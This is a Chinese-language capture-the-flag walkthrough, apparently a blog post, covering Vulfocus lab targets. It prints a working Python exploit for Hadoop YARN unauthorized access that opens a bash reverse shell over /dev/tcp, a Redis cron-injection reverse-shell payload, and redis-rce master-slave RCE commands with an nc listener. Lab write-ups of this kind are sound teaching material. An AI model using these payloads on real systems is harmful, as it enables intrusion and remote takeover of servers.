未授权访问，也称为未经授权的访问或非法访问，是指在没有得到适当权限或授权的情况下，个人或系统访问了网络、计算机、数据库、文件、应用程序或其他受保护资源的行为。这种访问可能出于恶意或非恶意的目的，但无论其意图如何，未授权访问都可能导致敏感信息的泄露、数据的篡改或破坏、系统功能的异常，甚至更严重的安全事件。
未授权访问的常见攻击手段包括但不限于：
1. 利用已知的系统漏洞或弱点。
2. 通过猜测、破解或窃取密码等认证信息。
3. 使用恶意软件，如病毒、木马等，来绕过安全机制。
4. 社交工程，如诱骗用户泄露敏感信息。
Vulfocus是一个便捷的漏洞集成平台，用户只需加载漏洞环境的Docker镜像即可快速使用。它具备一键启动、自动更新flag、计分考核等特性，适用于安全测试和能力评估。平台兼容Vulhub和Vulapps的镜像，支持可视化配置，是安全人员的理想工具。
在线位置：https://vulfocus.cn/#/dashboard
离线版本：https://github.com/fofapro/vulfocus （即使没有网络也可以在本地进行渗透测试）
Tips：docker 部署过程需要科学上网，本地使用不需要，要么使用国外服务器，使用linux部署靶场我没有找到linux版本的科学上网工具，大多数科学上网工具都是windows的，所以使用windows的版本docker（docker desktop）来部署，使用即可这个坑踩了一天。。。
国内科学上===》】
Hadoop是一个由Apache基金会开发的分布式系统基础架构，主要解决海量数据的存储和分析计算问题。它起源于Lucene框架，受Google大数据论文启发，发展出HDFS、MapReduce和Hbase等核心组件。2005年，Hadoop作为Lucene子项目Nutch的一部分加入Apache，2006年成为独立项目。Hadoop的命名来自创始人Doug Cutting儿子的玩具大象，它的诞生标志着云计算时代的到来。
Hadoop的主要用于：
1. 分布式存储：通过Hadoop分布式文件系统（HDFS），Hadoop能够存储海量数据，提供高吞吐量的数据访问。
2. 分布式计算：利用MapReduce编程模型，Hadoop能够处理大量数据集，执行并行计算任务，提高数据处理效率。
3. 数据挖掘和分析：Hadoop支持复杂的数据分析和数据挖掘任务，帮助用户从大规模数据集中提取有价值的信息。
Hadoop YARN的ResourceManager是集群资源分配和调度的关键，若出现未授权访问漏洞，可能使未认证用户访问或操纵资源，引发数据泄露、资源滥用或服务中断。此类安全问题需及时修复，以保护集群安全。
该漏洞涉及版本：hadoop 3.3.0以下
搜索hadoop，启动环境即可
访问靶场给你的第一个ip地址，就可以进入hadoop网页界面
查看版本，2.8.1，存在未授权访问漏洞
使用python脚本进行shell反弹
exp脚本参考：https://www.cnblogs.com/cute-puli/p/14944637.html
#!/usr/bin/env python
import requests
target ='http://123.58.224.8:32220/'目标网址
lhost ='用来反弹的ip，公网能访问的ip'# put your local host ip here, and listen at port 9999
url = target +'ws/v1/cluster/apps/new-application'
resp = requests.post(url)
app_id = resp.json()['application-id']
url = target +'ws/v1/cluster/apps'
data ={
'application-id': app_id,
'application-name':'get-shell',
'am-container-spec':{
'commands':{
'command':'/bin/bash -i >& /dev/tcp/%s/公网ip监听的端口号 0>&1'% lhost,
},
},
'application-type':'YARN',
}
requests.post(url, json=data)
使用终端或者其他shell工具连接你的公网服务器，我的是centos系统，
终端连接ssh协议
ssh root@192.168.128.128
连接之后下载netcat瑞士军刀
命令yum install -y nc
，启动监听
nc -lvvp 4443
注意，启动监听之前需要放行你监听的防火墙端口，否则之后执行py脚本会导致没有任何反应，查看你的端口放行情况
iptables -L -n -v
-L 表示列出所有规则
-n 表示以数字形式显示地址和端口号
-v 表示显示详细信息
新建一个终端执行你的脚本即可
python .\hadoop-payload.py
反弹成功
再根据题目提示，找到flag提交即可
CNVD-2019-21763
是关于Redis数据库的一个远程命令执行漏洞，其原理主要涉及到Redis 4.x及更高版本中新增的模块功能以及主从同步机制的不当使用，它的默认端口为6379，漏洞等级：高危。
端口探测：
由于我启动的vulfocus靶场redis端口为64239，所以nmap扫描命令如下
nmap -v -Pn -p 64239 -sV 123.58.224.8
发现存在64239 redis服务默认端口
使用redis-cli测试靶机的redis是否支持远程连接，经过测试支持
redis-cli -h 123.58.224.8 -p 64239
然后并且追加如下内容
set xxx "\n\n 1 * * * * /bin/bash -i>& /dev/tcp/10.1.1.100/44330>&1\n\n"
config set dir /var/
config set dbfilename root
save
知识扩展：
在面对大量读写数据时，单个Redis实例可能会承受巨大压力。为了解决这个问题，Redis引入了主从模式。在此模式下，一个Redis实例作为主机，负责处理所有的写操作，而其他实例作为从机，与主机保持数据同步，并专门处理读请求。这种读写分离的策略有效减轻了服务器的负载，是通过增加空间使用来换取系统处理效率的一种策略。进一步地，Redis 4.x版本后，通过新增的模块功能，开发者可以使用C语言编写并编译成.so文件，从而在Redis中实现自定义的新命令，进一步扩展了Redis的功能和应用场景。——主从复制RCE
发现保存的时候怎么也保存不了，又花了半小时，找到了这个方法--手动编译 so 扩展文件，忍不住这回当了脚本小子，执行如下命令
git clone https://github.com/n0b0dyCN/RedisModules-ExecuteCommand
cd RedisModules-ExecuteCommand/
这是我的目录效果
继续
git clone https://github.com/Ridter/redis-rce.git
cd redis-rce/
cd ../
# 将module.so复制一份到当前目录下的redis-rce
cp module.so ./redis-rce
# 使用pip安装依赖
pip install -r requirements.txt
执行攻击之前，需要放行21000端口
python redis-rce.py -r 123.58.236.76（靶机） -p redis端口 -L vps的IP地址 -f module.so
中途超时了一下所以我的靶场redis端口变成了 11778
redis-cnvd_2015_07557做法同理，更改靶场ip和端口即可